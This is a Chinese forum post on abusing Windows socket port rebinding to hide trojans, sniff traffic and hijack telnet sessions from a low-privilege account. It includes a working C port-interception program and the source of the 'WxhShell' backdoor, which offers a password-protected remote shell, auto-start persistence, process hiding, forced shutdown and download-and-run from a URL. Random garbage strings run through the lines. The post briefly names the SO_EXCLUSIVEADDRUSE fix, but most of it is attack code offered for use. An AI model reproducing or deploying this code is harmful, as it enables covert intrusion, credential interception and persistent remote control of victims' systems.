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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @YH+c G|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N|Sf=q?Ko  
NcAp_q? 4  
  saddr.sin_family = AF_INET; S i nl  
~-83Q5/[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); //&j<vu s  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @Fpb-Qd"  
kGUJ9Du  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vw)7 !/#  
5c;h &  
  这意味着什么?意味着可以进行如下的攻击: Ol')7d&  
\@;\t7~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '/I:^9  
Dr9 ?2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0'r%,0  
OGrBUP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _NcY I  
oiH|uIsqR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WpLZQ6wH  
u<n`x6gL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Do]*JO)(  
+]@Az.E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z h/Uu6  
e62Dx#IY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YUdxG/~'  
NA.1QQ ;e  
  #include T`9-VX;`  
  #include -[Qvg49jy  
  #include Xm4CKuU@  
  #include    z1!6%W_.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s6 }X t=j  
  int main() SjEdyN#  
  {  pAu72O?  
  WORD wVersionRequested; . /p|?pu  
  DWORD ret; do-c1;M  
  WSADATA wsaData; +} mk>e/  
  BOOL val; C`'W#xnp1  
  SOCKADDR_IN saddr; e0;  
  SOCKADDR_IN scaddr; xc?}TPpt  
  int err; `E\imL  
  SOCKET s; c[ht`!P  
  SOCKET sc; d3]hyTqbtm  
  int caddsize; 4q$H  
  HANDLE mt; -K[782Q  
  DWORD tid;   p[2GkP  
  wVersionRequested = MAKEWORD( 2, 2 ); 5=KF!?  
  err = WSAStartup( wVersionRequested, &wsaData ); b8f+,2Tk  
  if ( err != 0 ) { htPqT,L  
  printf("error!WSAStartup failed!\n"); ,5|d3dJS  
  return -1; #' hLb  
  } a9~"3y  
  saddr.sin_family = AF_INET; s^T+5 E&}  
   Z7jX9e"L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gNx+>h`AF  
gZT)pP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _B,_4}  
  saddr.sin_port = htons(23); 9B)(>~q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y@wF_WX2  
  { w.N,)]h  
  printf("error!socket failed!\n"); }xlKonk  
  return -1; T[Pa/j{  
  } !CjqL~  
  val = TRUE; \Z/k;=Sla  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~@8+hnE]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cywg[  
  { Q&M'=+T  
  printf("error!setsockopt failed!\n"); /9Ilo\MdD  
  return -1; k*-NsNPw$  
  } x:t<ZG&Xwg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ewo*yY>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N*DhjEU)[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :[M[(  
%McO6.M@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e@F|NCQ.9  
  { ;5 <-)  
  ret=GetLastError(); tLcEl'Eo  
  printf("error!bind failed!\n"); 0>!/rR7  
  return -1; V)D-pV V  
  } Poa?Ej  
  listen(s,2); &C-;Sa4  
  while(1) P ,K\  
  { qvt-  
  caddsize = sizeof(scaddr); /f1'm@8;  
  //接受连接请求 ) qPSD2h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GLKO]y  
  if(sc!=INVALID_SOCKET) nj\_lL+  
  { he )ulB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !;>(i e\  
  if(mt==NULL) #/j={*-  
  { Fu8 7fVi/\  
  printf("Thread Creat Failed!\n"); {4ptu~8  
  break; C4$/?,K(  
  } ]2+g&ox4'  
  } fo\\o4Qyh  
  CloseHandle(mt); r3I,11B  
  } s0{ NsK>  
  closesocket(s); !W1eUY  
  WSACleanup(); GH'O! }  
  return 0; JZ`L%  
  }   N_C_O$j  
  DWORD WINAPI ClientThread(LPVOID lpParam) xKp0r1}  
  { |0{ i9 .=  
  SOCKET ss = (SOCKET)lpParam; n_$yV:MuT!  
  SOCKET sc; 6CNS%\A  
  unsigned char buf[4096]; ^{[`=P'/  
  SOCKADDR_IN saddr; w1B<0'#  
  long num; FsCwF&/q  
  DWORD val; zj]b&In6;  
  DWORD ret; QJ];L7Hbo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 # bX~=`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Jm![W8L  
  saddr.sin_family = AF_INET; Sb^ b)q"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A|<;  
  saddr.sin_port = htons(23); |#TXE|#ux  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RT"O;P  
  { +0pW/4x  
  printf("error!socket failed!\n"); PW_`qP:  
  return -1; i+~QDo(Pi  
  } vmKT F!;  
  val = 100; PO ko]@~!i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a'[)9:  
  { X9'xn 0n;  
  ret = GetLastError(); =|y|P80w  
  return -1; bNvAyKc-  
  } B- Y+F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'TEyP56  
  { R}J-nJlb  
  ret = GetLastError(); 'yNPhI  
  return -1; 5fHYc0  
  } Tkrx7C s(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v#=ayWgk  
  { ^`&HWp  
  printf("error!socket connect failed!\n"); |t\KsW  
  closesocket(sc); ci7~KewJ*  
  closesocket(ss); _hoAW8i  
  return -1; ida*]+ ~  
  } u ~71l)LA  
  while(1) 'P/taEi=R  
  { [&n|\!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;4d.)-<No_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *IlQ5+3I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yv${M u  
  num = recv(ss,buf,4096,0); 0^>E`/  
  if(num>0) Am7| /  
  send(sc,buf,num,0); hCLk#_  
  else if(num==0) TczXHT}G  
  break; 3@X|Gs'_S  
  num = recv(sc,buf,4096,0); %)IrXz>Zh  
  if(num>0) mcMb*?]  
  send(ss,buf,num,0); A*Q[k 9B  
  else if(num==0) -HTL5  
  break; zjoo{IH}  
  } 4 ? {*(  
  closesocket(ss); -~'kP /E^  
  closesocket(sc); s<{GpWT8  
  return 0 ; gY\mXM*^  
  } {gIEZ{  
UQdyv(jXq  
Bi_J5 If  
========================================================== 9&(.x8d,a  
wrK#lh2  
下边附上一个代码,,WXhSHELL ork|yj/A  
ZPYH#gC& T  
========================================================== ")\ *2d  
+GPd   
#include "stdafx.h" !'PlDGD  
QAXYrRu  
#include <stdio.h> 8Xk Ik7  
#include <string.h> Qy%xL9  
#include <windows.h> *08+\ed"#  
#include <winsock2.h> j}RM.C\7  
#include <winsvc.h> akrCs&Kka5  
#include <urlmon.h> tD^a5qPh  
^HoJ.oC/  
#pragma comment (lib, "Ws2_32.lib") 5|m9:Hv[#  
#pragma comment (lib, "urlmon.lib") gDc]^K4>  
% 9YA^ri  
#define MAX_USER   100 // 最大客户端连接数 (lWKy9eTy`  
#define BUF_SOCK   200 // sock buffer Jh(mbD  
#define KEY_BUFF   255 // 输入 buffer 2 _Jb9:/X  
DD6'M U4  
#define REBOOT     0   // 重启 %((cFQ9  
#define SHUTDOWN   1   // 关机 T=yCN#cqQ`  
#?5VsD8  
#define DEF_PORT   5000 // 监听端口 @ YrGyq  
573~-Jvx  
#define REG_LEN     16   // 注册表键长度 U:Fpj~E_w  
#define SVC_LEN     80   // NT服务名长度 c8tP+O9  
j5A\y^Kv  
// 从dll定义API "D!Dr1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lzI/\%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =KW|#]RB^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k^yy$^=<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tpz=} q  
R_~F6O^EO  
// wxhshell配置信息 " #J}A0  
struct WSCFG { P ]_Vz  
  int ws_port;         // 监听端口 L`JY4JM"  
  char ws_passstr[REG_LEN]; // 口令 ;lkf+,;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6%z`)d  
  char ws_regname[REG_LEN]; // 注册表键名 t.u{.P\Md\  
  char ws_svcname[REG_LEN]; // 服务名 x6~Fb~aP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Iy[E,j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X~#@rg!"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;q^,[(8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _BCT.ual  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *ig5Q(b*N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ur`V{9g  
0Mq6yu^  
}; hAYQ6g$A  
@]yQJuXA&Z  
// default Wxhshell configuration L7[X|zmy*x  
struct WSCFG wscfg={DEF_PORT, /. f!  
    "xuhuanlingzhe", ?~]>H A:  
    1, }" g@E-]N  
    "Wxhshell", ; S{ZC5  
    "Wxhshell", q w"e0q%)  
            "WxhShell Service", G+;g:_E=  
    "Wrsky Windows CmdShell Service", 2%*|fF}I  
    "Please Input Your Password: ", Dj/Q1KY$m  
  1, X^9t  
  "http://www.wrsky.com/wxhshell.exe", MEDskvBG  
  "Wxhshell.exe" rjt O`Mt`  
    }; ta2z  
%9cqJ]S  
// 消息定义模块 r]xdhR5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s' _$j$1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "F04c|oR<X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FUH *]U  
char *msg_ws_ext="\n\rExit."; Pm'.,?"  
char *msg_ws_end="\n\rQuit."; sCuQBZ h  
char *msg_ws_boot="\n\rReboot..."; ]q@rGD85K  
char *msg_ws_poff="\n\rShutdown..."; 7?)m(CFy  
char *msg_ws_down="\n\rSave to "; )bF)RL Z  
if\k[O 1T6  
char *msg_ws_err="\n\rErr!"; 9? v)  
char *msg_ws_ok="\n\rOK!"; ^D0/H N   
/o~ @VF:  
char ExeFile[MAX_PATH]; ;o&_:]S  
int nUser = 0; I]s:Ev[~  
HANDLE handles[MAX_USER]; t,UW&iLK  
int OsIsNt; ,2Sv1v$  
O7E;W| ]  
SERVICE_STATUS       serviceStatus; (%=lq#,   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {"Y]/6  
<%T%NjNPQ  
// 函数声明 tauP1&%oH{  
int Install(void); mOgx&ns;j  
int Uninstall(void); N}e(.  
int DownloadFile(char *sURL, SOCKET wsh); &L2`L)  
int Boot(int flag); T749@!v`z  
void HideProc(void); '&&~IB4ud  
int GetOsVer(void); p=je"{  
int Wxhshell(SOCKET wsl); 47$-5k30  
void TalkWithClient(void *cs); w4 >:uyE  
int CmdShell(SOCKET sock); uBV^nUjS"m  
int StartFromService(void); im_0ur&'  
int StartWxhshell(LPSTR lpCmdLine); -uS7~Ww.a  
Zz wZ, (  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9~*_(yjF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r5<e}t-  
$Ykp8u,(  
// 数据结构和表定义 4p0IBfVG  
SERVICE_TABLE_ENTRY DispatchTable[] = xX[{E x   
{ LK oM\g(  
{wscfg.ws_svcname, NTServiceMain}, K'ed5J  
{NULL, NULL} u^;sx/  
}; "y3dwSS  
P<g|y4h  
// 自我安装 .'+|>6eU  
int Install(void) \3 O-} n1S  
{ y^vfgP<@  
  char svExeFile[MAX_PATH]; S<)RVm,!e  
  HKEY key; CgaB)`.  
  strcpy(svExeFile,ExeFile); 6-Vl#Lyb  
Ra*k  
// 如果是win9x系统,修改注册表设为自启动 S@l a.0HDA  
if(!OsIsNt) { %u<&^8EL+#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ueS[sN!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U{.+*e18  
  RegCloseKey(key); 'R-JQ E-]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #m[w=Pu}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FlM.D u  
  RegCloseKey(key); "Hsq<oV8  
  return 0; Yn?2,^?N  
    } *+zy\AhkP  
  } @/Wty@PU  
} S(YHwH":  
else { lu9Ir>c  
UOOR0$4  
// 如果是NT以上系统,安装为系统服务 +5seT}h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MWp\D#H  
if (schSCManager!=0) ^y;OHo  
{ z;Gbqr?{{  
  SC_HANDLE schService = CreateService 7m@^=w  
  ( zrWq!F*-V\  
  schSCManager,  K{7S  
  wscfg.ws_svcname, .LhbhUEfn  
  wscfg.ws_svcdisp, "m\UqQGX  
  SERVICE_ALL_ACCESS, lMI ix0sSj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d(dw]6I6  
  SERVICE_AUTO_START, B "s8i{Vm  
  SERVICE_ERROR_NORMAL, @[Jt~v  
  svExeFile, Xk7$?8r4&  
  NULL, 1&>nL`E[3  
  NULL, ~6Ee=NaLzP  
  NULL, _mq*j^u,j  
  NULL, jwtXI\@MS  
  NULL WhVmycdv  
  ); a)yNXn8E_  
  if (schService!=0) OD2ai]!v+  
  { :pV("tHE  
  CloseServiceHandle(schService); It,n +A  
  CloseServiceHandle(schSCManager); T(fR/~:z?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1V?Sj  
  strcat(svExeFile,wscfg.ws_svcname); K:Xrfn{s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x4 A TK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qS[p|*BL  
  RegCloseKey(key); Qe=Q8cT  
  return 0; O (sFs1  
    } (B~V:Yt  
  } V HY<(4@  
  CloseServiceHandle(schSCManager); vGMOXbq4&  
} OYRR'X.E  
} vN6]6nUOiT  
~Hs]}Xo  
return 1; h0EGhJs  
} m6ZbYF-7W  
IUBps0.T\  
// 自我卸载 wx?{|  
int Uninstall(void) G5eLs  
{ 7>e~i,  
  HKEY key; Y=wP3q  
@_weMz8}  
if(!OsIsNt) { S.)8&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -QNMB4  
  RegDeleteValue(key,wscfg.ws_regname); c75vAKZ2  
  RegCloseKey(key); 3YNkT"~T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y.hH fSp  
  RegDeleteValue(key,wscfg.ws_regname); U"R.!=v  
  RegCloseKey(key); /;(%Xd&:  
  return 0; p2_Zsq  
  } 4~D>oNx4  
} '[ddE!ta  
} t>=y7n&q  
else { 1V9X(uP  
laRKt"A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (NWN&  
if (schSCManager!=0) e4_aKuA  
{ `8 b6 /  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SJuf`  
  if (schService!=0) Pc-8L]2oaF  
  { qt&"cw  
  if(DeleteService(schService)!=0) { 7!840 :a?+  
  CloseServiceHandle(schService); u5)A+.v  
  CloseServiceHandle(schSCManager); qYrGe  
  return 0; g!|E!\p  
  } !JQ~r@j  
  CloseServiceHandle(schService); ;<GTtt# D  
  } _"t.1+-K  
  CloseServiceHandle(schSCManager); %TggNU,  
} }oxaB9r  
} ";Xbr;N  
0FR%<u  
return 1; ).`a-Pv  
} t 6IaRD  
zinl.8Uk  
// 从指定url下载文件 *9:6t6x  
int DownloadFile(char *sURL, SOCKET wsh) vi.AzO  
{ D]`B;aE>A*  
  HRESULT hr;  O,,n  
char seps[]= "/"; *B~:L"N  
char *token; t>`LO  
char *file; g~sNY|%  
char myURL[MAX_PATH]; ImY*cW=M  
char myFILE[MAX_PATH]; TF3q?0  
}8]uZ)[p=  
strcpy(myURL,sURL); 5J#g JFA  
  token=strtok(myURL,seps); nv[Sb%/  
  while(token!=NULL) ,* vnt6C*  
  { (cew:z H  
    file=token; Q7aDl8Lxn  
  token=strtok(NULL,seps); 3#ZKuGg=  
  } Ip|^?uyrk  
vo<#sa^,j  
GetCurrentDirectory(MAX_PATH,myFILE); 8BH)jna`Qo  
strcat(myFILE, "\\"); Leick 6  
strcat(myFILE, file); Wn#JY p  
  send(wsh,myFILE,strlen(myFILE),0); C>;8`6_!gU  
send(wsh,"...",3,0); a7d-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 12DdUPOi  
  if(hr==S_OK) nMvIL2:3  
return 0; B148wh#r  
else BW\5RIWwE5  
return 1; .W.U:C1  
67:<X(u+!  
} !Jp.3,\?~  
#UN{ J6{  
// 系统电源模块 } $c($  
int Boot(int flag) S_;:iC]B  
{ aJ_Eh(cF  
  HANDLE hToken; M<m64{m1  
  TOKEN_PRIVILEGES tkp; F+9`G[  
)H, <i{80c  
  if(OsIsNt) { 0P/LW|16  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ? bg pUv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kqu7DZ+W  
    tkp.PrivilegeCount = 1; 0J-ux"kfI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WbzL!zLd!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rbS= Ewk  
if(flag==REBOOT) { !D5`8   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Elk$9 < <  
  return 0; BD+~8v  
} gUtbCqDS  
else { I}A#*iD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C:EoUu  
  return 0; ?qW|k6{O  
} hs uJ;4}$q  
  } :Lzj'Ij  
  else { &.4a  
if(flag==REBOOT) { qr;" K?NX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3AL=*qq  
  return 0; UVU*5U~  
} mpAh'f4$*  
else { LMzYsXG*[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J(VZa_  
  return 0; S60`'!y  
} sgsMlZ3/  
} <W^~Y31:0  
K ePHn:c  
return 1; 0].5[Jo  
} 8+|Lph`/?  
UzwIV{  
// win9x进程隐藏模块  )U`kU`+'  
void HideProc(void) Tj+WO6#V  
{ 5X-{|r3q  
!]T|=yw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4rdrl  
  if ( hKernel != NULL ) #!@ ]%4  
  { ]qRz!D%@^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9:~^KQ{?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j zp%.4/j  
    FreeLibrary(hKernel); hlEvL  
  } 5Ozj&Zq  
'z5 ;o :T  
return; 2*FZ@?X@r  
} 3=I Q  
C@W0fz  
// 获取操作系统版本 5toNEDN  
int GetOsVer(void) 46`{mPd{aO  
{ a]ey..m  
  OSVERSIONINFO winfo; T^>cT"ux_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #2=30  
  GetVersionEx(&winfo); nTlrG6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /UAj]U  
  return 1; ^jA^~h3(W  
  else PxY"{-iAM  
  return 0; z [{%.kA  
} ~!u94_:  
^PszZ10T  
// 客户端句柄模块 Hc!_o`[{l  
int Wxhshell(SOCKET wsl) h|Qh/jCX  
{ b,`N;*  
  SOCKET wsh; Wc[)mYOSuO  
  struct sockaddr_in client; AU2Nmf?]%  
  DWORD myID; CeemR>\t  
~8E rl3=5{  
  while(nUser<MAX_USER) VgL<uxq  
{ r]{:{Z  
  int nSize=sizeof(client); ;kA2"c]m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \t3i9#Q  
  if(wsh==INVALID_SOCKET) return 1; GM~jR-FZ  
::w%rv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kY&j~R[C  
if(handles[nUser]==0) !).d c.P  
  closesocket(wsh); 5j %jhby?  
else E2cmT$6  
  nUser++; I.x>mN -0  
  } <jjaqDSmz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K;O\Pd  
ps [rYy  
  return 0; qr1^i1%\  
} BZsxf'eN'  
e9nuQ\=  
// 关闭 socket $ :/1U$  
void CloseIt(SOCKET wsh) xNU}uW>>T  
{ 0jMrL\>C  
closesocket(wsh); Ft7l/  
nUser--; DoA f,9|_  
ExitThread(0); u)ItML  
} 4`B:Mq&j  
*{Vyt5  
// 客户端请求句柄 A,@"(3  
void TalkWithClient(void *cs) /);6 j,x  
{ x8t1g,QA  
,;;~dfHm  
  SOCKET wsh=(SOCKET)cs; z841g `:C  
  char pwd[SVC_LEN]; XCY4[2*a>  
  char cmd[KEY_BUFF]; I;LqyzM  
char chr[1]; 4l:+>U@KU  
int i,j; 5sRNqTIr  
?/D#ql7  
  while (nUser < MAX_USER) { ,KWeW^z'7  
[;}c@  
if(wscfg.ws_passstr) { Rp1OC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _GS2&|7`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H.e@w3+h  
  //ZeroMemory(pwd,KEY_BUFF); 1k`!w}  
      i=0; ?*HlAVDcFT  
  while(i<SVC_LEN) { 7Uh}|6PU  
i "xq SLf=  
  // 设置超时 O`4X[r1LD  
  fd_set FdRead; Q{l;8MCL  
  struct timeval TimeOut; <=lP6B  
  FD_ZERO(&FdRead); !G37K8 &&*  
  FD_SET(wsh,&FdRead); gKnAw+u\  
  TimeOut.tv_sec=8; _*_zyWW_j  
  TimeOut.tv_usec=0; uxBk7E%6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HukHZ;5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V=U%P[S  
Aka`L:k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $J+$ 8pA  
  pwd=chr[0]; mDhU wZH  
  if(chr[0]==0xd || chr[0]==0xa) { :Wln$L$  
  pwd=0; =KMck=#B  
  break; 3)sqAs(  
  } 9;jfg|x1[  
  i++; -HOCxR  
    } LcXrD+ 1  
$%<gp@Gz  
  // 如果是非法用户,关闭 socket H!N,PI?rn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3!I8J:GZ:  
} l[gL(p"W  
&,+ZN A`P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )+J?(&6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | e+m!G1G  
15B$Sp!/`e  
while(1) { ZD*>i=S  
G:UdU{  
  ZeroMemory(cmd,KEY_BUFF); K% ;O$ >  
!zeBxR$&o  
      // 自动支持客户端 telnet标准   ^^Y0 \3.  
  j=0; H 74hv`G9  
  while(j<KEY_BUFF) { 0x84 Ah)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8164SWB  
  cmd[j]=chr[0];  /YHeO  
  if(chr[0]==0xa || chr[0]==0xd) { j_Fr3BWS  
  cmd[j]=0; ezL*YM8?@  
  break; 5<61NnZ  
  } _=rXaTp  
  j++; d 1z   
    } {)G3*>sG3  
{\k9%2V*+  
  // 下载文件 kG{(Qi  
  if(strstr(cmd,"http://")) { kb>9;-%^JK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *op7:o_  
  if(DownloadFile(cmd,wsh)) v / a/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PUI.Un2C_  
  else GYj`-t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gpPktp2  
  } hPl;2r  
  else { dK=BH=S2?X  
lB,MVsn18  
    switch(cmd[0]) { ^b4o 0me  
  ;@sxE}`?g  
  // 帮助 =%bc;ZUu  
  case '?': { lps  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E;N+B34  
    break; 4VK5TWg  
  } $.`(2  
  // 安装 MtS$ovg?  
  case 'i': { SkxTgX5  
    if(Install()) UZV)A}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "?]5"lNC|  
    else 8s|r'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a-7nA  
    break; Dq\#:NnKvx  
    } WvR}c  
  // 卸载 UHXlBH@  
  case 'r': { %o~zsIl  
    if(Uninstall()) 0DN:{dJz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1r@v \#P  
    else }3@`'i7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0<e7!M=U1  
    break; @NO&3m]  
    } 1wwhTek  
  // 显示 wxhshell 所在路径 lp4sO#>`  
  case 'p': { l_DPlY  
    char svExeFile[MAX_PATH]; z%b3/rx  
    strcpy(svExeFile,"\n\r"); ,u$$w  
      strcat(svExeFile,ExeFile); p<Zf,F}  
        send(wsh,svExeFile,strlen(svExeFile),0); EQg 6*V  
    break; Yd]f}5F  
    } v%_sCg  
  // 重启 sH6srwI  
  case 'b': { e7<~[>g)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A=BpB}b  
    if(Boot(REBOOT)) Q&wBX%@^L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S!rUdxO  
    else { 7/Ew(X8Fs  
    closesocket(wsh); CvlAn7r,@  
    ExitThread(0); ofS9h*wrJ  
    } c sYICLj  
    break; kD2MqR>  
    } Yzd-1Jvk  
  // 关机 y#r=^r]l)  
  case 'd': { qD 2<-E&M/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K?P.1H`  
